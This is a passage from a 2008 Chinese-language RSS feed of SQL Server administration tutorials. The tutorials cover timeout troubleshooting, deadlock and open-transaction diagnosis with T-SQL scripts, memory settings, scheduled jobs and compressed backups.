			<link>http://www.cnshark.net/article/2566.htm</link>
			<title><![CDATA[Sql Server数据库超时问题的解决方法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,12 Dec 2008 11:33:15 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2566</guid>
		<description><![CDATA[1.由于数据库设计问题造成SQL数据库新增数据时超时<br/><br/>　　症状:<br/><br/>　　Microsoft OLE DB Provider for SQL Server 错误 &#39;80040e31&#39; （[ODBC SQL Server Driver]超时已过期）;<br/><br/>　　服务器上看CPU、内存占用率很低;<br/><br/>　　事件日志中提示: 数据库 &#39;*********&#39; 中文件 &#39;***********&#39; 的自动增长在 453 毫秒后已取消或出现超时。使用 Alt&#101;r DATABASE 设置更小的 FILEGROWTH 或设置新的大小。<br/><br/>　　原因:<br/><br/>　　数据库设置时,[文件增长]按百分比来增长,当数据库文件很大时(1G以上),新增操作都会报超时，而这时候其实CPU、内存占用率都非常非常的低。<br/><br/>　　解决方法:<br/><br/>　　把上述的文件增长这里设置为一个更低的百分比或者直接指定增加多少兆字节。<br/><br/>　　2.SQL Server数据库超时设置<br/><br/>　　修改客户端的连接超时设置。默认情况下，通过企业管理器注册另外一台SQL Server的超时设置是 4 秒，而查询分析器是 15 秒。<br/><br/>　　企业管理器中的设置:<br/><br/>　　A、在企业管理器中，选择菜单上的&#34;工具&#34;，再选择&#34;选项&#34;；<br/><br/>　　B、在弹出的&#34;SQL Server企业管理器属性&#34;窗口中，点击&#34;高级&#34;选项卡；<br/><br/>　　C、在&#34;连接设置&#34;下的&#34;登录超时（秒）&#34;右边的框中输入一个比较大的数字，如 30。<br/><br/>　　查询分析器中的设置:<br/><br/>　　单击“工具”-&gt;&#34;选项&#34;-&gt;&#34;连接&#34;; 将登录超时设置为一个较大的数字，连接超时改为0。<br/><br/>　　3.查询语句时超时<br/><br/>　　原因分析:<br/><br/>　　查询超时一般来说首先要从sql语句和数据表的结构上找原因，优化sql语句和为数据库的查询字段建索引是最常用的办法。<br/><br/>　　另外，数据库的查询超时设置一般是sqlserver自己维护的（在你没有修改query wait配置前），只有当你的实际查询时间超过估计查询时间的25倍时，才会超时。<br/><br/>　　而造成超出估计值那么多的原因有两种可能:<br/><br/>　　一是估计时间不准确；<br/><br/>　　二是sql语句涉及到大量占用内存的查询（如排序和哈希操作），内存不够，需要排队等待资源造成的。<br/><br/>　　解决办法:<br/><br/>　　A.优化语句,创建使用合适的索引;<br/><br/>　　B.解决第一个问题的方法,更新要查询表的索引分发统计，保证估计时间的正确性，Up&#100;ate STATISTICS 表名;<br/><br/>　　C.增加内存<br/><br/>　　如果想手动设置查询超时，可以使用以下语句：<br/><br/>sp_configure　&#39;show　advanced　options&#39;,　1　<br/>　　GO　<br/>　　RECONFIGURE　<br/>　　GO　<br/>　　sp_configure　&#39;query　wait&#39;,　2147483647　<br/>　　GO　<br/>　　RECONFIGURE　<br/>　　GO<br/><br/>　　4.应用程序连接失败<br/><br/>　　故障:<br/><br/>　　在应用程序中我们也会遇到类似的错误信息，例如：<br/><br/>　　Microsoft OLE DB Provider for ODBC Drivers 错误 &#39;80004005&#39;. [Microsoft][ODBC SQL Server Driver]超时已过期.<br/><br/>　　解决方法:<br/><br/>　　A.如果遇到连接超时的错误，我们可以在程序中修改 Connection 对象的超时设置，再打开该连接。例如：<br/><br/>＜%<br/>Set Conn = Server.Cr&#101;ateObject(&#34;ADODB.Connection&#34;)<br/>DSNtest=&#34;DRIVER={SQL Server};SERVER=ServerName;UID=USER;<br/>PWD=password;DATABASE=mydatabase&#34;<br/> <br/>Conn. Properties(&#34;Connect Timeout&#34;) = 15 &#39;以秒为单位<br/>Conn.open DSNtest<br/>%＞<br/><br/>　　B.　 如果遇到查询超时的错误，我们可以在程序中修改 Recordset 对象的超时设置，再打开结果集。例如：<br/><br/>Dim cn As New ADODB.Connection<br/>Dim rs As ADODB.Recordset<br/>. . .<br/>cmd1 = txtQuery.Text<br/>Set rs = New ADODB.Recordset<br/>rs.Properties(&#34;Command Time Out&#34;) = 300<br/>&#39;同样以秒为单位，如果设置为 0 表示无限制<br/>rs.Open cmd1, cn<br/>rs.MoveFirst<br/>. . .<br/><br/>　　另外,一些硬件及网络方面的原因也可能造成SQL数据库连接超时.<br/><br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2565.htm</link>
			<title><![CDATA[避免资源死锁：识别已打开的事务]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,12 Dec 2008 11:30:59 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2565</guid>
		<description><![CDATA[因为打开的事务可能会死锁资源，引发性能的问题，所以了解在一个专用数据库中哪些事务是打开的是很有帮助的。被死锁的资源可能堵塞其他数据库的用户。 <br/><br/>为了找出这些已打开的事务就要查询master数据库中的sysprocesses表。sysprocesses表有一个open_tran的列，它表示已有命令是否是一个打开的事务。如果值大于0表示它是一个已经打开的事务。sysprocesses表还有一个spid的列，表示正在访问SQL Server的系统进程的id。你可以使用spid列作为DBCC INPUTBUFFER()系统函数的参数。只有SQL Server的sysadmins帐号才可以执行这个函数。这个函数的输出首先是spid对应的255字符的命令。你可以由此确定哪个命令是影响数据库性能的罪魁祸首，然后根据spid发出一个KILL命令。<br/><br/>下面是打印已打开事务的命令的脚本。它用到了表变量，因此只能在SQL Server 2000上用。<br/><br/>SET NOCOUNT ON <br/>DECLARE @Commands<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TABLE<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( ctr INT IDENTITY NOT NULL,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;command VARCHAR(2000) NOT NULL)<br/><br/><br/>Ins&#101;rt @Commands (command)<br/>Sel&#101;ct &#39;&#39;DBCC INPUTBUFFER (&#39;&#39; + CONVERT( VARCHAR(10), spid) + &#39;&#39;)&#39;&#39;<br/>FROM master..sysprocesses<br/>Wh&#101;re open_tran &gt; 0<br/><br/><br/>DECLARE @ctr INT, @command VARCHAR(2000)<br/>SET @ctr = 1<br/><br/><br/>WHILE @ctr &lt; (Sel&#101;ct COUNT(*) + 1 FROM @Commands)<br/>BEGIN<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sel&#101;ct @command = command FROM @Commands Wh&#101;re ctr = @ctr<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PRINT &#39;&#39;-- &#39;&#39; + @command<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EXECUTE (@command)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sel&#101;ct @ctr = @ctr + 1<br/>END<br/><br/> <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2564.htm</link>
			<title><![CDATA[SQL Server死锁的分析]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,12 Dec 2008 11:29:47 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2564</guid>
		<description><![CDATA[SQL Server数据库发生死锁时不会像ORACLE那样自动生成一个跟踪文件。有时可以在[管理]-&gt;[当前活动] 里看到阻塞信息(有时SQL Server企业管理器会因为锁太多而没有响应).<br/><br/>　　设定跟踪1204:<br/><br/>USE MASTER<br/>DBCC TRACEON (1204,-1)<br/>　　显示当前启用的所有跟踪标记的状态:<br/><br/>DBCC TRACESTATUS(-1)<br/>　　取消跟踪1204:<br/><br/>DBCC TRACEOFF (1204,-1)<br/>　　在设定跟踪1204后,会在数据库的日志文件里显示SQL Server数据库死锁时一些信息。但那些信息很难看懂,需要对照SQL Server联机丛书仔细来看。根据PAG锁要找到相关数据库表的方法:<br/><br/>DBCC TRACEON (3604)<br/>DBCC PAGE (db_id,file_id,page_no)<br/>DBCC TRACEOFF (3604)<br/>　　请参考sqlservercentral.com上更详细的讲解.但又从CSDN学到了一个找到死锁原因的方法。我稍加修改, 去掉了游标操作并增加了一些提示信息,写了一个系统存储过程sp_who_lock.sql。代码如下：<br/><br/>if exists (sel&#101;ct * from dbo.sysobjects<br/>wh&#101;re id = object_id(N&#39;[dbo].[sp_who_lock]&#39;)<br/>and OBJECTPROPERTY(id, N&#39;IsProcedure&#39;) = 1)<br/>dro&#112; procedure [dbo].[sp_who_lock]<br/>GO<br/>/********************************************************<br/>//　创建 : fengyu　邮件 : maggiefengyu@tom.com<br/>//　日期 :2004-04-30<br/>//　修改 : 从<a href="http://www.csdn.net/develop/Read_Article.asp?id=26566" target="_blank" rel="external">http://www.csdn.net/develop/Read_Article.asp?id=26566</a><br/>//　学习到并改写<br/>//　说明 : 查看数据库里阻塞和死锁情况<br/>********************************************************/<br/>use master<br/>go<br/>cr&#101;ate procedure sp_who_lock<br/>as<br/>begin<br/>declare @spid int,@bl int,<br/>@intTransactionCountOnEntry　　 int,<br/>@intRowcount　　　　　　 int,<br/>@intCountProperties　　　　 int,<br/>@intCounter　　　　　　 int<br/>cr&#101;ate table #tmp_lock_who (<br/>id int identity(1,1),<br/>spid smallint,<br/>bl smallint)<br/>IF @@ERROR&lt;&gt;0 RETURN @@ERROR<br/>ins&#101;rt into #tmp_lock_who(spid,bl) sel&#101;ct　0 ,blocked<br/>from (sel&#101;ct * from sysprocesses wh&#101;re　blocked&gt;0 ) a<br/>wh&#101;re not exists(sel&#101;ct * from (sel&#101;ct * from sysprocesses<br/>wh&#101;re　blocked&gt;0 ) b<br/>wh&#101;re a.blocked=spid)<br/>union sel&#101;ct spid,blocked from sysprocesses wh&#101;re　blocked&gt;0<br/>IF @@ERROR&lt;&gt;0 RETURN @@ERROR<br/>-- 找到临时表的记录数<br/>sel&#101;ct　　 @intCountProperties = Count(*),@intCounter = 1<br/>from #tmp_lock_who<br/>IF @@ERROR&lt;&gt;0 RE<br/>TURN @@ERROR<br/>if　　@intCountProperties=0<br/>sel&#101;ct &#39;现在没有阻塞和死锁信息&#39; as message<br/>-- 循环开始<br/>while @intCounter &lt;= @intCountProperties<br/>begin<br/>-- 取第一条记录<br/>sel&#101;ct　　 @spid = spid,@bl = bl<br/>from #tmp_lock_who wh&#101;re Id = @intCounter<br/>begin<br/>if @spid =0<br/>sel&#101;ct &#39;引起数据库死锁的是: &#39;+ CAST(@bl AS VARCHAR(10))<br/>+ &#39;进程号,其执行的SQL语法如下&#39;<br/>else<br/>sel&#101;ct &#39;进程号SPID：&#39;+ CAST(@spid AS VARCHAR(10))+ &#39;被&#39;<br/>+ &#39;进程号SPID：&#39;+ CAST(@bl AS VARCHAR(10)) +&#39;阻塞,其当前进程执行的SQL语法如下&#39;<br/>DBCC INPUTBUFFER (@bl )<br/>end<br/>-- 循环指针下移<br/>set @intCounter = @intCounter + 1<br/>end<br/>dro&#112; table #tmp_lock_who<br/>return 0<br/>end<br/>　　需要的时候直接调用:<br/><br/>sp_who_lock<br/>　　就可以查出引起死锁的进程和SQL语句.<br/><br/>　　SQL Server自带的系统存储过程sp_who和sp_lock也可以用来查找阻塞和死锁, 但没有这里介绍的方法好用。如果想知道其它tracenum参数的含义,请看www.sqlservercentral.com文章<br/><br/>　　我们还可以设置锁的超时时间(单位是毫秒), 来缩短死锁可能影响的时间范围:<br/><br/>　　例如:<br/><br/>use master<br/>seelct @@lock_timeout<br/>set lock_timeout 900000<br/>-- 15分钟<br/>seelct @@lock_timeout]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2551.htm</link>
			<title><![CDATA[升级到SQLServer2005的10大理由]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:29:03 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2551</guid>
		<description><![CDATA[大多数的IT专家都在使用SQLServer2000，并仍在为SQLServer7数据库提供支持，（有一些人甚至还在支持SQLServer6.5数据库）。随着SQLServer2005的到来，我们常常被问到：我应该升级吗？在本文里，我们列出了为什么你应该升级到SQLServer2005的10个最重要的理由。<br/><br/>　　1．现在仍在使用的所有东西仍然能够（在某种程度上）继续使用。<br/>SQLServer2005的管理工作间（Management Studio）将让你对SQLServer2000和SQLServer2005的数据库进行控制。管理工作间无法用于SQLServer6.5和7.0，但是将其移植到可以兼容的版本是很容易的。<br/><br/>　　由于兼容性的问题，有一些东西无法很容易地移植到管理工作间。例如，如果你的SQLServer2000数据库含有图表，那么在没有升级数据库的情况下你是无法使用这些图表的。<br/><br/>　　2．SQLServer2005带有更多的组件。<br/>SQLServer先前的版本以多种不同的方式打包了多个不同的组件。例如，无所不包的企业版捆绑了所有的东西，但是你可能没有机会用到这个版本。SQLServer2000版里没有包括分析服务（Analysis Services）——所以你必须单独购买这个组件。<br/><br/>　　微软已经改变其市场策略，把所有的组件都捆绑到一个程序包里。SQLServer2005的价格要比先前的版本高，但仍然是非常划算的。如果你参加了SQLServer2005的发售仪式，微软会送给你一个免费的版本——无任何附加条件的。<br/><br/>　　3．各不相同的用户界面统一成了一个。<br/><br/>　　在以前，企业管理器（Enterprise Manager）和查询分析器（Query Analyzer）、报告服务（Reporting Services）和数据转换服务（Data Transformation Services，DTS）都是单独的应用程序，它们的界面完全不统一。管理工作间为你提供了一个整洁的用户界面，让你能够访问到所有的组件，甚至是在线的分析处理（online analytical processing，OLAP）和SQLServer集成服务（SQL Server Integration Services，SSIS），而不论组件所属的是哪种Server。这就带来了更高的生产效率和更加低廉的培训成本。即使你选择以SQLServer2000的格式来维持数据库，你仍然能够使用全新的用户界面来完成自己的各项工作。<br/><br/>　　4．让.NET语言来承担主要工作。<br/><br/>　　T-SQL仍然是用来完成你90％任务的工具，但是某些任务要求特别的精确；在这些情况下，T-SQL就显得尤为不足了。这样的例子包括逐行控制（row-by-row control），尤其是你必须要将当前的行与先前的行进行比较，并在一个过程里写入多个表格的时候。你可以在T-SQL里完成这个任务。因此，你可以会发现让.NET的行集来处理非常复杂的逻辑会更简单。我们不建议你匆忙运行并重写.NET里的所有存储过程；而应该把它当作是新加进来的好东西，而不是对T-SQL的替换。<br/><br/>5．你可以利用报告服务的优势。<br/><br/>　　我们可以对“后端能做的一切后端都应该做到”这一原则进行一些修正。例如我们认为在应用程序里构建动态的SQLServer查询常常是很无聊的事。有的时候，更好更安全的方式是用前端的应用程序来集中参数，然后调用存储过程，这是很有必要的。<br/><br/>　　SQLServer2005的报告服务把这一概念扩展到了另外一个层次。在SQLServer2000和更早一些的版本里，报告是由各种不同的前端应用程序（C++、VB、Delphi、Access、Crystal Reports等等）来发布的。你可以把这一功能放到报告服务里，因为它具有无与伦比的优势。首先，你从给定前端获得所有的逻辑。然后，你使用事实上来自任何前端的报告服务，这就意味着你的应用程序开发人员能够从应用程序里删掉很多代码。这是关于所有可能用户界面的一个报告，这也就是说如果报告里有错误，你一旦修补好了，而所有的用户面将会继承这个修补程序。<br/><br/>　　6．内置商业智能。<br/><br/>　　商业智能（Business Intelligence，OLAP）并没有内置在先前的SQLServer里，除非你购买的是企业版的SQLServer2000。即使能够承担得起这一笔费用，你也必须重新学习一个全新的界面。如果使用SQLServer2005的话，你可以完成以前能够完成的所有任务，而使用的是一个整洁和集成的用户界面。<br/><br/>　　7．告别DTS，迎接SSIS。<br/><br/>　　SQLServer2005用一项名为SSIS的新技术取代了DTS，前者是一个巨大的突破。我们认为SSIS最酷的地方是，数据转换现在成了SSIS的一个对象。最后，你可以真正地进行流控制和错误处理，方式是建立提取、转换和加载（ETL）操作以外的任务。<br/><br/>　　8．使用升级指导进行智能升级。<br/><br/>　　SQLServer2005引入了新的功能，并对已有的功能进行了改变，以帮助提高性能、安全和可管理性。这些变化可能会影响到你原有的应用程序。这就是为什么微软的SQLServer小组开发出升级指导（Upgrade Advisor）的原因。它会智能地引导你完成升级过程，并列出可能会出现的任何兼容性问题。<br/><br/>　　9．你现在随时对安全进行微小的调整。<br/><br/>　　由于加入了专门的数据库架构，并增加了分派某些管理任务而不需要让所有的开发人员和初级DBA都成为一个全知全能的高级架构师的能力，因此通过只给予用户完成他们的任务所需要的权限，你可以极大地增强SQLServer2005 的安全性。（无可否认的是，有些开发人员可能认为这不是进行升级的一个好理由。）<br/><br/>　　10．来自企业可伸缩性的益处。<br/><br/>　　SQLServer2000存在一些企业可伸缩性的问题，但是这对于SQLServer2005来说已经不成问题。看来SQLServer2005准备用自己的利器来对付Oracle和DB／2的企业级产品。不管你怎么算成本（不论是按每个处理器算还是按每个客户算），它总是要比Oracle和DB／2的成本低得多。<br/><br/>　　总结<br/><br/>　　即使你不一定需要立即从SQLServer7或者2000上进行迁移，但是你应该安装SQLServer2005，因为它所带来的好处是巨大的。你可以继续管理SQLServer2000的数据库，而不需要对它进行转换，同时还能够享受到SQLServer2005带来的强大的新特性。只要使用一下SQLServer的管理工作间，你就会忘掉企业管理器和查询分析器。它们将很快步CP／M的后尘。<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2550.htm</link>
			<title><![CDATA[SQL SERVER内存会不断增加的问题分析]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:28:09 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2550</guid>
		<description><![CDATA[SQL SERVER内存会不断增加 <br/><br/>　　当 SQL Server 数据库引擎在 Microsoft&amp;reg; Windows NT&amp;reg; 或 Windows&amp;reg; 2000 上运行时，其默认内存管理行为并不是获取特定的内存量，而是在不产生多余换页 I/O 的情况下获取尽可能多的内存。为此，数据库引擎获取尽可能多的可用内存，同时保留足够的可用内存以防操作系统交换内存。<br/><br/>　　SQL Server 实例在启动时通常获取 8 到 12 MB 的内存以完成初始化过程。当实例完成初始化后，就不会再获取更多的内存，直到用户连接到该实例并开始产生工作负荷。这时，该实例根据需要不停地获取内存以支持工作负荷。随着更多的用户连接并运行查询，SQL Server 将获取支持需求所需的额外内存。该实例将继续获取内存直到达到自身的内存分配目标，并且直到达到该目标的下限才会释放任何内存。<br/><br/>　　为了在不产生多余换页 I/O 的情况下获取尽可能多的内存，SQL Server 的每个实例都设置一个内存获取目标，直到计算机的可用物理内存在 4 MB 到 10 MB 的范围内。之所以选择该范围是因为测试表明 Windows NT 和 Windows 2000 都有最小内存交换，直到内存分配等于可用物理内存减去 4 MB。工作负荷处理任务重的 SQL Server 实例保留的可用物理内存为范围的较低端 (4 MB)；工作负荷处理任务轻的实例保留的可用物理内存为范围的较高端 (10 MB)。<br/><br/>　　SQL Server 实例的目标随工作负荷的改变而变化。当更多的用户连接并产生更多的工作时，该实例倾向于获取更多的内存以使可用的内存保持在 4 MB 的限制以下。当工作负荷减轻时，该实例将其目标调整为 10 MB 的可用空间，并释放内存给操作系统。将可用空间量保持在 10 MB 与 4 MB 之间可防止 Windows NT 或 Windows 2000 过多执行换页操作，同时使 SQL Server 得以获得尽可能最大的高速缓冲存储器而不至引起额外的交换。<br/><br/>　　实例的目标内存设置与数据库缓冲池的页相对于可用池大小的需求有关。在任何即时点，缓冲区页的总需求取决于满足所有当前执行的查询所需的数据页数。如果相对于高速缓冲存储器内的页数，数据页的需求很大，则当前在缓冲区内的每一页很可能在相对较短的时间内由新页替换。这可由&#34;缓冲区管理器&#34;对象的&#34;页生命期&#34;性能计数器来度量。对于相对较小的缓冲区有较高需求的情况将生成短生命期，而纯粹的影响就是使 I/O 增加，因为在页可由多个逻辑读取引用之前往往要被重写。为减轻这个问题，数据库引擎可以获取更多的内存以增加高速缓冲存储器的大小。当页生命期长时，数据库引擎将可用内存定位于目标的高端 (10 MB)；而当页生命期短时，数据库引擎定位于目标范围的低端 (4 MB)。<br/><br/>　　随着其它应用程序在运行 SQL Server 实例的计算机上启动，它们消耗内存致使可用物理内存量降到 SQL Server 的目标以下。SQL Server 实例于是从其地址空间释放足够内存，以使可用内存量回到 SQL Server 的目标。如果有其它应用程序停止运行而使可用内存增多，SQL Server 实例将增加其内存分配大小。SQL Server 可以每秒释放并获取几 MB 字节的内存，这使它得以根据内存分配变化作出快速调整。<br/><br/>　　<br/><br/>你可以通过设置允许sql server可以使用的最大内存来做限制：最小和最大服务器内存的影响<br/><br/>　　min server memory 和 max server memory 配置选项建立由 SQL Server 数据库引擎使用的内存量的上限和下限。数据库引擎并不立即获取 min server memory 中指定的内存量。数据库引擎启动时只使用初始化所需的内存。随着数据库引擎工作负荷的增加，它将继续获取支持工作负荷所需的内存。数据库引擎直到到达 min server memory 中指定的内存量才会释放任何所需的内存。一旦到达 min server memory，数据库引擎将使用标准算法（使操作系统的可用内存保持在 4 MB 到 10 MB 之间）获取和释放所需内存。唯一的区别是数据库引擎从不将内存分配降到 min server memory 所指定的水平下，也从不获取超过max server memory 所指定水平的内存。<br/><br/>　　数据库引擎获取的内存量完全取决于放置在实例上的工作负荷。不处理很多请求的 SQL Server 实例可能永远达不到 min server memory。<br/><br/>　　如果为 min server memory 和 max server memory 指定相同的值，则一旦分配给数据库引擎的内存达到该值，数据库引擎将停止动态释放和获取内存。<br/><br/>　　如果在运行 SQL Server 实例的计算机上频繁启动或停止其它应用程序，启动这些应用程序所需的时间可能会因 SQL Server 实例分配和释放内存而延长。另外，如果 SQL Server 是几个在一台计算机上运行的服务器应用程序中的一个，系统管理员可能需要控制分配给 SQL Server 的内存量。在这些情况下，可以使用 min server memory 和 max server memory 选项控制 SQL Server 可以使用的内存量。<br/><br/>　　何设置固定的内存量（企业管理器）<br/><br/>　　设置固定的内存量 <br/><br/>　　展开一个服务器组。<br/><br/>　　右击一个服务器，再单击&#34;属性&#34;。<br/><br/>　　单击&#34;内存&#34;选项卡。<br/><br/>　　单击&#34;使用固定的内存大小 (MB)&#34;，然后将固定内存滑块放在适当的位置。 <br/><br/>　　说明 如果使用默认设置，则 Microsoft&amp;reg; SQL Server&amp;#8482; 将动态配置内存。<br/><br/>　　这是由sql server的内存管理机制决定的。<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2549.htm</link>
			<title><![CDATA[SQL Server如何定时作业 ]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:27:38 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2549</guid>
		<description><![CDATA[如果在SQL Server 里需要定时或者每隔一段时间执行某个存储过程或3200字符以内的SQL语句时,可以用管理-&gt;SQL Server代理-&gt;作业来实现。 <br/><br/>　　1、管理-&gt;SQL Server代理-&gt;作业(按鼠标右键)-&gt;新建作业-&gt;<br/><br/>　　2、新建作业属性(常规)-&gt;名称[自定义本次作业的名称]-&gt;启用的方框内是勾号-&gt;<br/><br/>　　分类处可选择也可用默认的[未分类(本地)]-&gt;所有者默认为登录SQL Server用户[也可选其它的登录]-&gt;<br/><br/>　　描述[填写本次工作详细描述内容];<br/><br/>　　[ 创建作业分类的步骤:<br/><br/>　　SQL Server代理-&gt;作业-&gt;右键选所有任务-&gt;添加、修改、删除 ]<br/><br/>　　3、新建作业属性(步骤)-&gt;新建-&gt;步骤名[自定义第一步骤名称]-&gt;类型[Transact-SQL(TSQL)脚本]-&gt;<br/><br/>　　数据库[要操作的数据库]-&gt;命令<br/><br/>　　[ 如果是简单的SQL直接写进去即可，也可用打开按钮输入一个已写好的*.sql文件<br/><br/>　　如果要执行存储过程，填<br/><br/>　　exec p_procedure_name v_parameter1,[ v_parameter2…v_parameterN]<br/><br/>　　]<br/><br/>　　-&gt;确定<br/><br/>　　(如果有多个步骤，可以再次调用下面的新建按钮;也可以对已有的多个步骤插入、编辑、删除);<br/><br/>　　4、建作业属性(调度)-&gt;新建调度-&gt;名称[自定义调度名称]-&gt;启用的方框内是勾号-&gt;调度-&gt;反复出现-&gt;<br/><br/>　　更改[调度时间表]-&gt;确定<br/><br/>　　(如果只要保存此作业，不要定时做可以把启用的方框内是勾号去掉);<br/><br/>　　5、建作业属性(通知)-&gt;用默认的通知方法就好[当作业失败时，写入Windows应用程序系统日志] -&gt;确定。<br/><br/>　　跟作业执行相关的一些SQL Server知识:<br/><br/>　　SQLSERVERAGENT服务必须正常运行，启动它的NT登录用户要跟启动SQL Server数据库的NT登录用户一致。<br/><br/>　　点作业右键可以查看作业执行的历史记录情况，也可以立即启动作业和停止作业。<br/><br/>　　最近在看作业历史记录时,发现有的作业记录的历史记录多,有的作业记录的记录的历史记录少.<br/><br/>　　如何能使某些作业按各自的需求,保留一段时间.比如保留一个月的历史记录.<br/><br/>　　看了SQL Server的在线帮助文档,里面介绍说:<br/><br/>　　在管理-&gt;SQL Server代理-&gt;右键选属性-&gt;作业系统-&gt;限制作业历史记录日志的大小-&gt;<br/><br/>　　作业历史记录日志的最大大小(行数) 默认为1000 如果某台机器的作业数量很多,一定要提高它,例如为100000<br/><br/>　　每个作业历史记录日志的最大行数 默认为100 如果作业每天执行两次,需要保留一个月的日志,可以设为60<br/><br/>　　它们之间有一个相互制约关系, 我们可以根据自己的需要来改.<br/><br/>　　如果SQL Server服务器改过机器名, 管理是旧名称时建立的job的时候可能会遇到<br/><br/>　　错误14274: 无法添加、更新或删除从MSX服务器上发起的作业(或其步骤或调度)<br/><br/>　　看了Microsoft的文档:<a href="http://support.microsoft.com/default.aspx?scid=kb" target="_blank" rel="external">http://support.microsoft.com/default.aspx?scid=kb</a>;en-us;281642<br/><br/>　　说SQL Server 2000系统里msdb..sysjobs 里originating_server 字段里存的是原来的服务器的名称.<br/><br/>　　24X7在用的系统肯定不能按上面Microsoft的文档说的那样把名字改回来又改过去。<br/><br/>　　于是想，msdb..sysjobs 能否up&#100;ate o&#114;iginating_server 字段成现在在用的新服务器名?<br/><br/>　　use msdb<br/><br/>　　sel&#101;ct * from sysjobs<br/><br/>　　找到originating_server 字段还是旧服务器的job_id, 然后执行up&#100;ate语句:<br/><br/>　　up&#100;ate sysjobs set o&#114;iginati<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2548.htm</link>
			<title><![CDATA[SQL Server如何备份并压缩备份文件]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:26:44 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2548</guid>
		<description><![CDATA[问：请问在SQL Server 2000中，我如何对数据库进行备份，并且我想以压缩的方式备份的话我应该如何做？ <br/><br/> <br/><br/>　　答：SQLSERVER2000 备份 <br/><br/> <br/><br/>　　例1:(备份) <br/><br/> <br/><br/>　　1 use master <br/><br/> <br/><br/>　　2 declare @path=&#39;c:\aa\zy.bak&#39; <br/><br/> <br/><br/>　　3 backup database zy to <br/><br/> <br/><br/>　　4 disk=@path with noinit <br/><br/> <br/><br/>　　说明: <br/><br/> <br/><br/>　　1 使用系统库 <br/><br/> <br/><br/>　　2 设置备份的路径及文件名,注意是用单引号引用. <br/><br/> <br/><br/>　　3 需备份的数据库 <br/><br/> <br/><br/>　　4 设置备份的驱动器,将路径设给驱动器,再设定备份的方式(重写或覆盖) <br/><br/> <br/><br/>　　例2:(压缩备份的数据库文件) <br/><br/> <br/><br/>　　use master <br/><br/> <br/><br/>　　exec xp_makecab &#39;c:\m.cab&#39;,mszip,1,&#39;c:\aa\zy.bak&#39; <br/><br/> <br/><br/>　　exec xp_cmdshell &#39;copy c:\123.cab&#39;, &#39;d:\123.cab&#39; <br/><br/> <br/><br/>　　说明: <br/><br/> <br/><br/>　　&#39;c:\m.cab&#39; 压缩备份的名称 <br/><br/> <br/><br/>　　mszip 压缩方式 <br/><br/> <br/><br/>　　&#39;c:\aa\zy.bak&#39; 被压缩文件的路径 <br/><br/> <br/><br/>　　copy到另一个目录保存 <br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2547.htm</link>
			<title><![CDATA[SQL Server数据库下教你如何做导库SQL ]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:18:46 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2547</guid>
		<description><![CDATA[导库SQL -- 适用于sql server <br/><br/> <br/><br/>在企业信息化建设过程中，数据库实体做为存放企业运营数据的仓库，具有至高重要的地位。 <br/><br/>为防止数据丢失，事前预防是很关键的，诸如数据库定期备份、磁盘阵列、集群解决方案等等。 <br/><br/>但是一旦发生数据丢失或是损坏的现象，而且不能通过正常的修复手段来处理，则可以通过导库来尝试一下。 <br/><br/> <br/><br/>国产的软件包括k/3,u8 等等，都有类似管理数据库的工具，管理工具中提供新建数据库的功能，新建的同类（指管理工具中提供的类别）数据库实体（国产软件通常称之为“账套”）有相同的表结构。因此，如果账套损坏，且无法修复的，可以新建一同类型的账套实体，通过下面的导库语句把被损坏的账套的数据导入新建账套中。 <br/><br/> <br/><br/>下面的语句提供了一个比sql server DTS导入导出更加灵活的工具。不过需要大家仔细理解才能运用的得心应手哈！！ <br/><br/> <br/><br/>----该存储过程建立在新帐套中，并在新账套中执行 <br/><br/> <br/><br/>if Exists(sel&#101;ct * from sysobjects wh&#101;re name=N&#39;sp_ExportDatabase&#39; And Xtype=&#39;P&#39;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dro&#112; PROCEDURE 